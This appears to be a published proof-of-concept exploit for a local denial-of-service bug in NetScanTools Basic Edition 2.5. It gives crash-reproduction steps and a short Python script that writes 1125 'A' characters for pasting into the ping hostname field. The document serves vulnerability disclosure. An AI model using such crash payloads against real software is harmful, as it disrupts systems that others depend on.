# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC) # Discovery by: Luis MartAnez # Discovery Date: 2018-07-26 # Vendor Homepage: https://www.netscantools.com/ # Software Link : http://download.netscantools.com/nstb250.zip # Tested Version: 2.5 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py # 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard # 3.- Open NstBasic.exe # 4.- Ping and Traceroute Tools # 5.- Ping # 6.- Paste ClipBoard on Target Hostname or IPv4 Address # 7.- Do Ping # 8.- Crashed #!/usr/bin/env python buffer = "\x41" * 1125 f = open ("NetScanTools_Basic_Edition_2.5.txt", "w") f.write(buffer) f.close()